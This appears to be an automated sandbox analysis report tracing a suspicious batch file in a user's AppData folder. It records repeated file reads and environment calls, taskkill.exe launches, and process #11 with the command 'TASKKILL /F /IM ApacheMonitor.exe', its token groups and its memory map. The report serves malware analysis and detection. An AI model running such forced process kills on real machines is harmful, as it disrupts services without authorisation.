Process Create process_name = C:\Windows\system32\taskkill.exe, os_pid = 0x948, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL True 1
Fn
Environment Set Environment String name = COPYCMD, value = 0 True 1
Fn
Environment Get Environment String True 1
Fn
Data
Environment Set Environment String name = =ExitCode, value = 00000080 True 1
Fn
Environment Get Environment String True 1
Fn
Data
Environment Set Environment String name = =ExitCodeAscii, value = 0 True 1
Fn
Environment Get Environment String True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Open filename = STD_INPUT_HANDLE True 2
Fn
File Create filename = C:\Users\kFT6uTQW\AppData\Roaminghhfhqi2h.wln.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
File Open True 2
Fn
File Read size = 8191, size_out = 1391 True 1
Fn
Data
File Open True 1
Fn
File Get Info type = file_type True 1
Fn
File Open True 1
Fn
Environment Get Environment String name = PATH, result_out = C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\ True 1
Fn
Environment Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 1
Fn
Environment Get Environment String name = PATH, result_out = C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\ True 1
Fn
Environment Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 1
Fn
Environment Set Environment String name = COPYCMD, value = 0 True 1
Fn
Environment Get Environment String True 1
Fn
Data
Environment Set Environment String name = =ExitCode, value = 00000080 True 1
Fn
Environment Get Environment String True 1
Fn
Data
Environment Set Environment String name = =ExitCodeAscii, value = 0 True 1
Fn
Environment Get Environment String True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Open filename = STD_INPUT_HANDLE True 2
Fn
File Create filename = C:\Users\kFT6uTQW\AppData\Roaminghhfhqi2h.wln.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
File Open True 2
Fn
File Read size = 8191, size_out = 1348 True 1
Fn
Data
File Open True 1
Fn
File Get Info type = file_type True 1
Fn
File Open True 1
Fn
Environment Set Environment String name = COPYCMD, value = 0 True 1
Fn
Environment Get Environment String True 1
Fn
Data
Environment Set Environment String name = =ExitCode, value = 00000080 True 1
Fn
Environment Get Environment String True 1
Fn
Data
Environment Set Environment String name = =ExitCodeAscii, value = 0 True 1
Fn
Environment Get Environment String True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Open filename = STD_INPUT_HANDLE True 2
Fn
File Create filename = C:\Users\kFT6uTQW\AppData\Roaminghhfhqi2h.wln.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
File Open True 2
Fn
File Read size = 8191, size_out = 1297 True 1
Fn
Data
File Open True 1
Fn
File Get Info type = file_type True 1
Fn
File Open True 1
Fn
Environment Set Environment String name = COPYCMD, value = 0 True 1
Fn
Environment Set Environment String name = =ExitCode, value = 00000080 True 1
Fn
Environment Set Environment String name = =ExitCodeAscii, value = 0 True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Open filename = STD_INPUT_HANDLE True 2
Fn
File Create filename = C:\Users\kFT6uTQW\AppData\Roaminghhfhqi2h.wln.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
File Open True 2
Fn
File Read size = 8191, size_out = 1258 True 1
Fn
Data
File Open True 1
Fn
File Get Info type = file_type True 1
Fn
File Open True 1
Fn
Environment Set Environment String name = COPYCMD, value = 0 True 1
Fn
Environment Set Environment String name = =ExitCode, value = 00000080 True 1
Fn
Environment Set Environment String name = =ExitCodeAscii, value = 0 True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Open filename = STD_INPUT_HANDLE True 2
Fn
File Create filename = C:\Users\kFT6uTQW\AppData\Roaminghhfhqi2h.wln.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
File Open True 2
Fn
File Read size = 8191, size_out = 1219 True 1
Fn
Data
File Open True 1
Fn
File Get Info type = file_type True 1
Fn
File Open True 1
Fn
Environment Set Environment String name = COPYCMD, value = 0 True 1
Fn
Environment Set Environment String name = =ExitCode, value = 00000080 True 1
Fn
Environment Set Environment String name = =ExitCodeAscii, value = 0 True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Open filename = STD_INPUT_HANDLE True 2
Fn
File Create filename = C:\Users\kFT6uTQW\AppData\Roaminghhfhqi2h.wln.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
File Open True 2
Fn
File Read size = 8191, size_out = 1178 True 1
Fn
Data
File Open True 1
Fn
File Get Info type = file_type True 1
Fn
File Open True 1
Fn
Environment Set Environment String name = COPYCMD, value = 0 True 1
Fn
Environment Set Environment String name = =ExitCode, value = 00000080 True 1
Fn
Environment Set Environment String name = =ExitCodeAscii, value = 0 True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Open filename = STD_INPUT_HANDLE True 2
Fn
File Create filename = C:\Users\kFT6uTQW\AppData\Roaminghhfhqi2h.wln.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
File Open True 2
Fn
File Read size = 8191, size_out = 1119 True 1
Fn
Data
File Open True 1
Fn
File Get Info type = file_type True 1
Fn
File Open True 1
Fn
Environment Set Environment String name = COPYCMD, value = 0 True 1
Fn
Environment Set Environment String name = =ExitCode, value = 00000080 True 1
Fn
Environment Set Environment String name = =ExitCodeAscii, value = 0 True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Open filename = STD_INPUT_HANDLE True 2
Fn
File Create filename = C:\Users\kFT6uTQW\AppData\Roaminghhfhqi2h.wln.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
File Open True 2
Fn
File Read size = 8191, size_out = 1044 True 1
Fn
Data
File Open True 1
Fn
File Get Info type = file_type True 1
Fn
File Open True 1
Fn
Environment Set Environment String name = COPYCMD, value = 0 True 1
Fn
Environment Set Environment String name = =ExitCode, value = 00000080 True 1
Fn
Environment Set Environment String name = =ExitCodeAscii, value = 0 True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Open filename = STD_INPUT_HANDLE True 2
Fn
File Create filename = C:\Users\kFT6uTQW\AppData\Roaminghhfhqi2h.wln.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
File Open True 2
Fn
File Read size = 8191, size_out = 1007 True 1
Fn
Data
File Open True 1
Fn
File Get Info type = file_type True 1
Fn
File Open True 1
Fn
Environment Set Environment String name = COPYCMD, value = 0 True 1
Fn
Environment Set Environment String name = =ExitCode, value = 00000080 True 1
Fn
Environment Set Environment String name = =ExitCodeAscii, value = 0 True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Open filename = STD_INPUT_HANDLE True 2
Fn
File Create filename = C:\Users\kFT6uTQW\AppData\Roaminghhfhqi2h.wln.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
File Open True 2
Fn
File Read size = 8191, size_out = 958 True 1
Fn
Data
File Open True 1
Fn
File Get Info type = file_type True 1
Fn
File Open True 1
Fn
Environment Set Environment String name = COPYCMD, value = 0 True 1
Fn
Environment Set Environment String name = =ExitCode, value = 00000080 True 1
Fn
Environment Set Environment String name = =ExitCodeAscii, value = 0 True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Open filename = STD_INPUT_HANDLE True 2
Fn
File Create filename = C:\Users\kFT6uTQW\AppData\Roaminghhfhqi2h.wln.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
File Open True 2
Fn
File Read size = 8191, size_out = 913 True 1
Fn
Data
File Open True 1
Fn
File Get Info type = file_type True 1
Fn
File Open True 1
Fn
Environment Set Environment String name = COPYCMD, value = 0 True 1
Fn
Environment Set Environment String name = =ExitCode, value = 00000080 True 1
Fn
Environment Set Environment String name = =ExitCodeAscii, value = 0 True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Open filename = STD_INPUT_HANDLE True 2
Fn
File Create filename = C:\Users\kFT6uTQW\AppData\Roaminghhfhqi2h.wln.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
File Open True 2
Fn
File Read size = 8191, size_out = 860 True 1
Fn
Data
File Open True 1
Fn
File Get Info type = file_type True 1
Fn
File Open True 1
Fn
Environment Set Environment String name = COPYCMD, value = 0 True 1
Fn
Environment Set Environment String name = =ExitCode, value = 00000080 True 1
Fn
Environment Set Environment String name = =ExitCodeAscii, value = 0 True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Open filename = STD_INPUT_HANDLE True 2
Fn
File Create filename = C:\Users\kFT6uTQW\AppData\Roaminghhfhqi2h.wln.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
File Open True 2
Fn
File Read size = 8191, size_out = 787 True 1
Fn
Data
File Open True 1
Fn
File Get Info type = file_type True 1
Fn
File Open True 1
Fn
Environment Set Environment String name = COPYCMD, value = 0 True 1
Fn
Environment Set Environment String name = =ExitCode, value = 00000080 True 1
Fn
Environment Set Environment String name = =ExitCodeAscii, value = 0 True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Open filename = STD_INPUT_HANDLE True 2
Fn
File Create filename = C:\Users\kFT6uTQW\AppData\Roaminghhfhqi2h.wln.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
File Open True 2
Fn
File Read size = 8191, size_out = 720 True 1
Fn
Data
File Open True 1
Fn
File Get Info type = file_type True 1
Fn
File Open True 1
Fn
Environment Set Environment String name = COPYCMD, value = 0 True 1
Fn
Environment Set Environment String name = =ExitCode, value = 00000080 True 1
Fn
Environment Set Environment String name = =ExitCodeAscii, value = 0 True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Open filename = STD_INPUT_HANDLE True 2
Fn
File Create filename = C:\Users\kFT6uTQW\AppData\Roaminghhfhqi2h.wln.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
File Open True 2
Fn
File Read size = 8191, size_out = 675 True 1
Fn
Data
File Open True 1
Fn
File Get Info type = file_type True 1
Fn
File Open True 1
Fn
Environment Set Environment String name = COPYCMD, value = 0 True 1
Fn
Environment Set Environment String name = =ExitCode, value = 00000080 True 1
Fn
Environment Set Environment String name = =ExitCodeAscii, value = 0 True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Open filename = STD_INPUT_HANDLE True 2
Fn
File Create filename = C:\Users\kFT6uTQW\AppData\Roaminghhfhqi2h.wln.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
File Open True 2
Fn
File Read size = 8191, size_out = 602 True 1
Fn
Data
File Open True 1
Fn
File Get Info type = file_type True 1
Fn
File Open True 1
Fn
Environment Set Environment String name = COPYCMD, value = 0 True 1
Fn
Environment Set Environment String name = =ExitCode, value = 00000001 True 1
Fn
Environment Set Environment String name = =ExitCodeAscii, value = 0 True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Open filename = STD_INPUT_HANDLE True 2
Fn
File Create filename = C:\Users\kFT6uTQW\AppData\Roaminghhfhqi2h.wln.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
File Open True 2
Fn
File Read size = 8191, size_out = 551 True 1
Fn
Data
File Open True 1
Fn
File Get Info type = file_type True 1
Fn
File Open True 1
Fn
Environment Set Environment String name = COPYCMD, value = 0 True 1
Fn
Environment Set Environment String name = =ExitCode, value = 00000080 True 1
Fn
Environment Set Environment String name = =ExitCodeAscii, value = 0 True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Open filename = STD_INPUT_HANDLE True 2
Fn
File Create filename = C:\Users\kFT6uTQW\AppData\Roaminghhfhqi2h.wln.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
File Open True 2
Fn
File Read size = 8191, size_out = 504 True 1
Fn
Data
File Open True 1
Fn
File Get Info type = file_type True 1
Fn
File Open True 1
Fn
Environment Set Environment String name = COPYCMD, value = 0 True 1
Fn
Environment Set Environment String name = =ExitCode, value = 00000080 True 1
Fn
Environment Set Environment String name = =ExitCodeAscii, value = 0 True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Open filename = STD_INPUT_HANDLE True 2
Fn
File Create filename = C:\Users\kFT6uTQW\AppData\Roaminghhfhqi2h.wln.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
File Open True 2
Fn
File Read size = 8191, size_out = 453 True 1
Fn
Data
File Open True 1
Fn
File Get Info type = file_type True 1
Fn
File Open True 1
Fn
Environment Set Environment String name = COPYCMD, value = 0 True 1
Fn
Environment Set Environment String name = =ExitCode, value = 00000080 True 1
Fn
Environment Set Environment String name = =ExitCodeAscii, value = 0 True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Open filename = STD_INPUT_HANDLE True 2
Fn
File Create filename = C:\Users\kFT6uTQW\AppData\Roaminghhfhqi2h.wln.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
File Open True 2
Fn
File Read size = 8191, size_out = 406 True 1
Fn
Data
File Open True 1
Fn
File Get Info type = file_type True 1
Fn
File Open True 1
Fn
Environment Set Environment String name = COPYCMD, value = 0 True 1
Fn
Environment Set Environment String name = =ExitCode, value = 00000080 True 1
Fn
Environment Set Environment String name = =ExitCodeAscii, value = 0 True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Open filename = STD_INPUT_HANDLE True 2
Fn
File Create filename = C:\Users\kFT6uTQW\AppData\Roaminghhfhqi2h.wln.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
File Open True 2
Fn
File Read size = 8191, size_out = 357 True 1
Fn
Data
File Open True 1
Fn
File Get Info type = file_type True 1
Fn
File Open True 1
Fn
Environment Set Environment String name = COPYCMD, value = 0 True 1
Fn
Environment Set Environment String name = =ExitCode, value = 00000080 True 1
Fn
Environment Set Environment String name = =ExitCodeAscii, value = 0 True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Open filename = STD_INPUT_HANDLE True 2
Fn
File Create filename = C:\Users\kFT6uTQW\AppData\Roaminghhfhqi2h.wln.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
File Open True 2
Fn
File Read size = 8191, size_out = 314 True 1
Fn
Data
File Open True 1
Fn
File Get Info type = file_type True 1
Fn
File Open True 1
Fn
Environment Set Environment String name = COPYCMD, value = 0 True 1
Fn
Environment Set Environment String name = =ExitCode, value = 00000080 True 1
Fn
Environment Set Environment String name = =ExitCodeAscii, value = 0 True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Open filename = STD_INPUT_HANDLE True 2
Fn
File Create filename = C:\Users\kFT6uTQW\AppData\Roaminghhfhqi2h.wln.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
File Open True 2
Fn
File Read size = 8191, size_out = 269 True 1
Fn
Data
File Open True 1
Fn
File Get Info type = file_type True 1
Fn
File Open True 1
Fn
Environment Set Environment String name = COPYCMD, value = 0 True 1
Fn
Environment Set Environment String name = =ExitCode, value = 00000080 True 1
Fn
Environment Get Environment String True 1
Fn
Data
Environment Set Environment String name = =ExitCodeAscii, value = 0 True 1
Fn
Environment Get Environment String True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Open filename = STD_INPUT_HANDLE True 2
Fn
File Create filename = C:\Users\kFT6uTQW\AppData\Roaminghhfhqi2h.wln.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
File Open True 2
Fn
File Read size = 8191, size_out = 216 True 1
Fn
Data
File Open True 1
Fn
File Get Info type = file_type True 1
Fn
File Open True 1
Fn
Process Create process_name = C:\Windows\system32\taskkill.exe, os_pid = 0x8e4, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL True 1
Fn
Environment Set Environment String name = COPYCMD, value = 0 True 1
Fn
Environment Get Environment String True 1
Fn
Data
Environment Set Environment String name = =ExitCode, value = 00000080 True 1
Fn
Environment Set Environment String name = =ExitCodeAscii, value = 0 True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Open filename = STD_INPUT_HANDLE True 2
Fn
File Create filename = C:\Users\kFT6uTQW\AppData\Roaminghhfhqi2h.wln.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
File Open True 2
Fn
File Read size = 8191, size_out = 169 True 1
Fn
Data
File Open True 1
Fn
File Get Info type = file_type True 1
Fn
File Open True 1
Fn
Environment Set Environment String name = COPYCMD, value = 0 True 1
Fn
Environment Set Environment String name = =ExitCode, value = 00000080 True 1
Fn
Environment Set Environment String name = =ExitCodeAscii, value = 0 True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Open filename = STD_INPUT_HANDLE True 2
Fn
File Create filename = C:\Users\kFT6uTQW\AppData\Roaminghhfhqi2h.wln.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
File Open True 2
Fn
File Read size = 8191, size_out = 117 True 1
Fn
Data
File Open True 1
Fn
File Get Info type = file_type True 1
Fn
File Open True 1
Fn
Environment Set Environment String name = COPYCMD, value = 0 True 1
Fn
Environment Set Environment String name = =ExitCode, value = 00000080 True 1
Fn
Environment Get Environment String True 1
Fn
Data
Environment Set Environment String name = =ExitCodeAscii, value = 0 True 1
Fn
Environment Get Environment String True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Open filename = STD_INPUT_HANDLE True 2
Fn
File Create filename = C:\Users\kFT6uTQW\AppData\Roaminghhfhqi2h.wln.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
File Open True 2
Fn
File Read size = 8191, size_out = 83 True 1
Fn
Data
File Open True 1
Fn
File Get Info type = file_type True 1
Fn
File Open True 1
Fn
Process Create process_name = C:\Windows\system32\taskkill.exe, os_pid = 0x82c, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL True 1
Fn
Environment Set Environment String name = COPYCMD, value = 0 True 1
Fn
Environment Get Environment String True 1
Fn
Data
Environment Set Environment String name = =ExitCode, value = 00000080 True 1
Fn
Environment Set Environment String name = =ExitCodeAscii, value = 0 True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Open filename = STD_INPUT_HANDLE True 2
Fn
File Create filename = C:\Users\kFT6uTQW\AppData\Roaminghhfhqi2h.wln.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
File Open True 2
Fn
File Read size = 8191, size_out = 39 True 1
Fn
Data
File Open True 1
Fn
File Read size = 8191, size_out = 0 True 1
Fn
File Open True 1
Fn
File Get Info type = file_type True 1
Fn
File Open True 1
Fn
Environment Set Environment String name = COPYCMD, value = 0 True 1
Fn
Environment Set Environment String name = =ExitCode, value = 00000002 True 1
Fn
Environment Set Environment String name = =ExitCodeAscii, value = 0 True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Open filename = STD_INPUT_HANDLE True 2
Fn
File Create filename = C:\Users\kFT6uTQW\AppData\Roaminghhfhqi2h.wln.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
File Open True 2
Fn
File Read size = 8191, size_out = 0 True 1
Fn
File Open True 1
Fn
File Get Info type = file_type True 1
Fn
File Open True 2
Fn
File Read size = 8191, size_out = 0 True 1
Fn
File Open True 1
Fn
File Get Info type = file_type True 1
Fn
File Open True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Open filename = STD_INPUT_HANDLE True 2
Fn
Process #11: taskkill.exe
+
Information Value
ID #11
File Name c:\windows\syswow64\taskkill.exe
Command Line TASKKILL /F /IM ApacheMonitor.exe /IM ApacheMonitor.exe
Initial Working Directory C:\Users\kFT6uTQW\Desktop\
Monitor Start Time: 00:01:15, Reason: Child Process
Unmonitor End Time: 00:02:35, Reason: Terminated by Timeout
Monitor Duration 00:01:20
Remarks No high level activity detected in monitored regions
OS Process Information
+
Information Value
PID 0xbc4
Parent PID 0xbb0 (c:\windows\syswow64\cmd.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username XABNCPUWKW\kFT6uTQW
Groups
  • XABNCPUWKW\Domain Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • Everyone (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • BUILTIN\Administrators (USE_FOR_DENY_ONLY)
  • BUILTIN\Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\INTERACTIVE (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • CONSOLE LOGON (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Authenticated Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\This Organization (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Logon Session 00000000:0000e8ae (MANDATORY, ENABLED_BY_DEFAULT, ENABLED, LOGON_ID)
  • LOCAL (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\NTLM Authentication (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x BC8
0x BCC
0x BD0
0x BD4
0x BD8
Region
+
Name Start VA End VA Type Permissions Monitored Dump YARA Match Actions
private_0x0000000000010000 0x00010000 0x0002ffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000020000 0x00020000 0x0002ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000030000 0x00030000 0x00031fff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000030000 0x00030000 0x00036fff Pagefile Backed Memory Readable True False False
  • Region Actions
apisetschema.dll 0x00040000 0x00040fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x0000000000050000 0x00050000 0x00053fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000060000 0x00060000 0x00060fff Pagefile Backed Memory Readable True False False
  • Region Actions
locale.nls 0x00070000 0x000d6fff Memory Mapped File Readable False False False
  • Region Actions
pagefile_0x00000000000e0000 0x000e0000 0x000e1fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
taskkill.exe.mui 0x000f0000 0x000f3fff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x0000000000100000 0x00100000 0x0010ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000110000 0x00110000 0x00110fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000120000 0x00120000 0x00120fff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000130000 0x00130000 0x00130fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000140000 0x00140000 0x00140fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000000150000 0x00150000 0x0018ffff Private Memory Readable, Writable True False False
  • Region Actions
taskkill.exe 0x00190000 0x001a5fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x0000000000220000 0x00220000 0x0025ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000260000 0x00260000 0x0029ffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x00000000002a0000 0x002a0000 0x00427fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000000430000 0x00430000 0x0046ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000480000 0x00480000 0x004fffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000500000 0x00500000 0x00680fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x00000000006e0000 0x006e0000 0x007dffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x00000000007e0000 0x007e0000 0x01bdffff Pagefile Backed Memory Readable True False False
  • Region Actions
kernelbase.dll.mui 0x01be0000 0x01c9ffff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x0000000001cc0000 0x01cc0000 0x01cfffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000001d00000 0x01d00000 0x01d3ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000001d60000 0x01d60000 0x01d9ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000001db0000 0x01db0000 0x01deffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000001e00000 0x01e00000 0x01e3ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000001e40000 0x01e40000 0x01f3ffff Private Memory Readable, Writable True False False
  • Region Actions
sortdefault.nls 0x01f40000 0x0220efff Memory Mapped File Readable False False False
  • Region Actions
private_0x0000000002210000 0x02210000 0x0224ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000002290000 0x02290000 0x022cffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000002360000 0x02360000 0x0239ffff Private Memory Readable, Writable True False False
  • Region Actions
ntdsapi.dll 0x6a730000 0x6a747fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
fastprox.dll 0x6a750000 0x6a7e5fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemsvc.dll 0x6a7f0000 0x6a7fefff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
winsta.dll 0x6a800000 0x6a828fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemcomn.dll 0x6a830000 0x6a88bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemprox.dll 0x6a890000 0x6a899fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
dbghelp.dll 0x6a8a0000 0x6a98afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wkscli.dll 0x6a990000 0x6a99efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
netutils.dll 0x6a9a0000 0x6a9a8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
netapi32.dll 0x6a9b0000 0x6a9c0fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
framedynos.dll 0x6a9d0000 0x6aa04fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
mpr.dll 0x73ba0000 0x73bb1fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wtsapi32.dll 0x73e30000 0x73e3cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64cpu.dll 0x73fd0000 0x73fd7fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64win.dll 0x73fe0000 0x7403bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
